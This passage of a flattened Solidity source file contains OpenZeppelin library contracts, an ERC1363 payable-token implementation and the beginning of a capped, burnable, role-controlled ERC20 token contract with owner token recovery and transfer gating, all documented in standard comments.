@dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual{ _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual{ uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.7.0; /** * @title IERC1363 Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for a Payable Token contract as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363 is IERC20, IERC165 { /* * Note: the ERC-165 identifier for this interface is 0x4bbee2df. * 0x4bbee2df === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) */ /* * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce. * 0xfb9ec8ce === * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferAndCall(address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent */ function approveAndCall(address spender, uint256 value) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` */ function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol pragma solidity ^0.7.0; /** * @title IERC1363Receiver Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Receiver { /* * Note: the ERC-165 identifier for this interface is 0x88a7ca5c. * 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) */ /** * @notice Handle the receipt of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param from address The address which are token transferred from * @param value uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` * unless throwing */ function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4); // solhint-disable-line max-line-length } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol pragma solidity ^0.7.0; /** * @title IERC1363Spender Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for any contract that wants to support approveAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Spender { /* * Note: the ERC-165 identifier for this interface is 0x7b04a2d0. * 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) */ /** * @notice Handle the approval of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param owner address The address which called `approveAndCall` function * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` * unless throwing */ function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165Checker.sol pragma solidity ^0.7.0; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { // success determines whether the staticcall succeeded and result determines // whether the contract at account indicates support of _interfaceId (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } /** * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return success true if the STATICCALL succeeded, false otherwise * @return result true if the STATICCALL succeeded and the contract at account * indicates support of the interface with identifier interfaceId, false otherwise */ function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool, bool) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return (false, false); return (success, abi.decode(result, (bool))); } } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol pragma solidity ^0.7.0; /** * @title ERC1363 * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of an ERC1363 interface */ contract ERC1363 is ERC20, IERC1363, ERC165 { using Address for address; /* * Note: the ERC-165 identifier for this interface is 0x4bbee2df. * 0x4bbee2df === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) */ bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df; /* * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce. * 0xfb9ec8ce === * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce; // Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` // which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector` bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c; // Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` // which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector` bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0; /** * @param name Name of the token * @param symbol A symbol to be used as ticker */ constructor (string memory name, string memory symbol) ERC20(name, symbol) { // register the supported interfaces to conform to ERC1363 via ERC165 _registerInterface(_INTERFACE_ID_ERC1363_TRANSFER); _registerInterface(_INTERFACE_ID_ERC1363_APPROVE); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param to The address to transfer to. * @param value The amount to be transferred. * @return A boolean that indicates if the operation was successful. */ function transferAndCall(address to, uint256 value) public override returns (bool) { return transferAndCall(to, value, ""); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param to The address to transfer to * @param value The amount to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) { transfer(to, value); require(_checkAndCallTransfer(_msgSender(), to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value The amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) { return transferFromAndCall(from, to, value, ""); } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value The amount of tokens to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) { transferFrom(from, to, value); require(_checkAndCallTransfer(from, to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to * @param value The amount allowed to be transferred * @return A boolean that indicates if the operation was successful. */ function approveAndCall(address spender, uint256 value) public override returns (bool) { return approveAndCall(spender, value, ""); } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to. * @param value The amount allowed to be transferred. * @param data Additional data with no specified format. * @return A boolean that indicates if the operation was successful. */ function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) { approve(spender, value); require(_checkAndCallApprove(spender, value, data), "ERC1363: _checkAndCallApprove reverts"); return true; } /** * @dev Internal function to invoke `onTransferReceived` on a target address * The call is not executed if the target address is not a contract * @param from address Representing the previous owner of the given token value * @param to address Target address that will receive the tokens * @param value uint256 The amount mount of tokens to be transferred * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) { if (!to.isContract()) { return false; } bytes4 retval = IERC1363Receiver(to).onTransferReceived( _msgSender(), from, value, data ); return (retval == _ERC1363_RECEIVED); } /** * @dev Internal function to invoke `onApprovalReceived` on a target address * The call is not executed if the target address is not a contract * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived( _msgSender(), value, data ); return (retval == _ERC1363_APPROVED); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.7.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.7.0; /** * @title TokenRecover * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Allow to recover any ERC20 sent into the contract for error */ contract TokenRecover is Ownable { /** * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.7.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @vittominacori/erc20-token/contracts/access/Roles.sol pragma solidity ^0.7.0; contract Roles is AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER"); bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR"); constructor () { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(OPERATOR_ROLE, _msgSender()); } modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role"); _; } modifier onlyOperator() { require(hasRole(OPERATOR_ROLE, _msgSender()), "Roles: caller does not have the OPERATOR role"); _; } } // File: @vittominacori/erc20-token/contracts/ERC20Base.sol pragma solidity ^0.7.0; /** * @title ERC20Base * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of the ERC20Base */ contract ERC20Base is ERC20Capped, ERC20Burnable, ERC1363, Roles, TokenRecover { // indicates if minting is finished bool private _mintingFinished = false; // indicates if transfer is enabled bool private _transferEnabled = false; /** * @dev Emitted during finish minting */ event MintFinished(); /** * @dev Emitted during transfer enabling */ event TransferEnabled(); /** * @dev Emitted during transfer disabling */ event TransferDisabled(); /** * @dev Tokens can be minted only before minting finished. */ modifier canMint() { require(!_mintingFinished, "ERC20Base: minting is finished"); _; } /** * @dev Tokens can be moved only after if transfer enabled or if you are an approved operator. */ modifier canTransfer(address from) { require( _transferEnabled || hasRole(OPERATOR_ROLE, from), "ERC20Base: transfer is not enabled or from does not have the OPERATOR role" ); _; } /** * @param name Name of the token * @param symbol A symbol to be used as ticker * @param decimals Number of decimals. All the operations are done using the smallest and indivisible token unit * @param cap Maximum number of tokens mintable * @param initialSupply Initial token supply * @param transferEnabled If transfer is enabled on token creation * @param mintingFinished If minting is finished after token creation */ constructor( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 initialSupply, bool transferEnabled, bool mintingFinished ) ERC20Capped(cap) ERC1363(name, symbol) { require( mintingFinished == false || cap == initialSupply, "ERC20Base: if finish minting, cap must be equal to initialSupply" ); _setupDecimals(decimals); if (initialSupply > 0) { _mint(owner(), initialSupply); } if (mintingFinished) { finishMinting(); } if (transferEnabled) { enableTransfer(); } } /** * @return if minting is finished or not. */ function mintingFinished() public view returns (bool) { return _mintingFinished; } /** * @return if transfer is enabled or not. */ function transferEnabled() public view returns (bool) { return _transferEnabled; } /** * @dev Function to mint tokens. * @param to The address that will receive the minted tokens * @param value The amount of tokens to mint */ function mint(address to, uint256 value) public canMint onlyMinter { _mint(to, value); } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to * @param value The amount to be transferred * @return A boolean that indicates if the operation was successful. */ function transfer(address to, uint256 value) public virtual override(ERC20) canTransfer(_msgSender()) returns (bool) { return super.transfer(to, value); } /** * @dev Transfer tokens from one address to another. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value the amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function transferFrom(address from, address to, uint256 value) public virtual override(ERC20) canTransfer(from) returns (bool) { return super.transferFrom(from, to, value); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual override(ERC20Burnable) canTransfer(_msgSender()){ super.burn(amount); } /** * @dev 